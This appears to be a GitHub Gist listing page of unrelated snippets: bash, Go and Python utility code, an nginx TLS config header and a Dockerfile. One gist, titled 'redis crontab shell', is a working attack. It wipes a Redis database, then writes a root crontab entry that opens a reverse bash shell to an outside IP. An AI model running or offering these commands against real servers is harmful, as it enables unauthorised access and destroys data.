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@earthgecko
earthgecko / bash.generate.random.alphanumeric.string.sh
Last active July 4, 2024 17:31
shell/bash generate random alphanumeric string
#!/bin/bash
# bash generate random alphanumeric string
#
# bash generate random 32 character alphanumeric string (upper and lowercase) and
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
# bash generate random 32 character alphanumeric string (lowercase only)
cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1
@evilpacket
evilpacket / gist:3628941
Created September 5, 2012 01:35
Top 1000 from Alexa Top 1million
wget -q http://s3.amazonaws.com/alexa-static/top-1m.csv.zip;unzip top-1m.csv.zip; awk -F ',' '{print $2}' top-1m.csv|head -1000 > top-1000.txt; rm top-1m.csv*
@lkdocs
lkdocs / Python PyCrypto: Verify Signature Example.py
Last active February 28, 2022 22:23
def verify_sign(public_key_loc, signature, data):
'''
Verifies with a public key from whom the data came that it was indeed
signed by their private key
param: public_key_loc Path to public key
param: signature String signature to be verified
return: Boolean. True if the signature is valid; False otherwise.
'''
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
@sergiotapia
sergiotapia / md5-example.go
Last active December 5, 2023 03:53
Golang - How to hash a string using MD5.
import (
"crypto/md5"
"encoding/hex"
)
func GetMD5Hash(text string) string {
hasher := md5.New()
hasher.Write([]byte(text))
return hex.EncodeToString(hasher.Sum(nil))
}
@gavinhungry
gavinhungry / nginx-tls.conf
Last active July 18, 2024 11:35
Nginx SSL/TLS configuration for "A+" Qualys SSL Labs rating
#
# Name: nginx-tls.conf
# Auth: Gavin Lloyd <gavinhungry@gmail.com>
# Desc: Nginx SSL/TLS configuration for "A+" Qualys SSL Labs rating
#
# Enables HTTP/2, PFS, HSTS and OCSP stapling. Configuration options not related
# to SSL/TLS are not included here.
#
# Additional tips:
#
@tomcatzh
tomcatzh / readwrite.go
Created April 1, 2015 06:35
Golang readline and writeline
func readLines(path string) ([]string, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
@tevino
tevino / epoll.go
Last active January 20, 2024 22:50
An example of using epoll in Go
package main
import (
"fmt"
"net"
"os"
"syscall"
)
const (
@carnal0wnage
carnal0wnage / gist:df7082a56f1d7bc9681ceb3fea65c0fe
Last active October 13, 2023 07:42
redis crontab shell
redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
from https://phpinfo.me/2016/07/07/1275.html
@jaytaylor
jaytaylor / thrift-configure-mac-osx-20170504.md
Last active August 14, 2020 07:07
Thrift compilation advice for mac OS-X, particular ./configure QT errors and openssl errors.
@yushijinhun
yushijinhun / Dockerfile
Created July 31, 2017 12:36
[ubuntu|docker]auto select fastest apt mirror
FROM ubuntu
RUN apt-get update -y \
&& apt-get install -y wget \
&& wget -O netselect.deb http://http.us.debian.org/debian/pool/main/n/netselect/netselect_0.3.ds1-28+b1_`dpkg --print-architecture`.deb \
&& dpkg -i netselect.deb \
&& rm netselect.deb \
&& sed -r -i -e "s#http://(archive|security)\.ubuntu\.com/ubuntu/?#$(netselect -v -s1 -t20 `wget -q -O- https://launchpad.net/ubuntu/+archivemirrors | grep -P -B8 "statusUP|statusSIX" | grep -o -P "http://[^\"]*"`|grep -P -o 'http://.+$')#g" /etc/apt/sources.list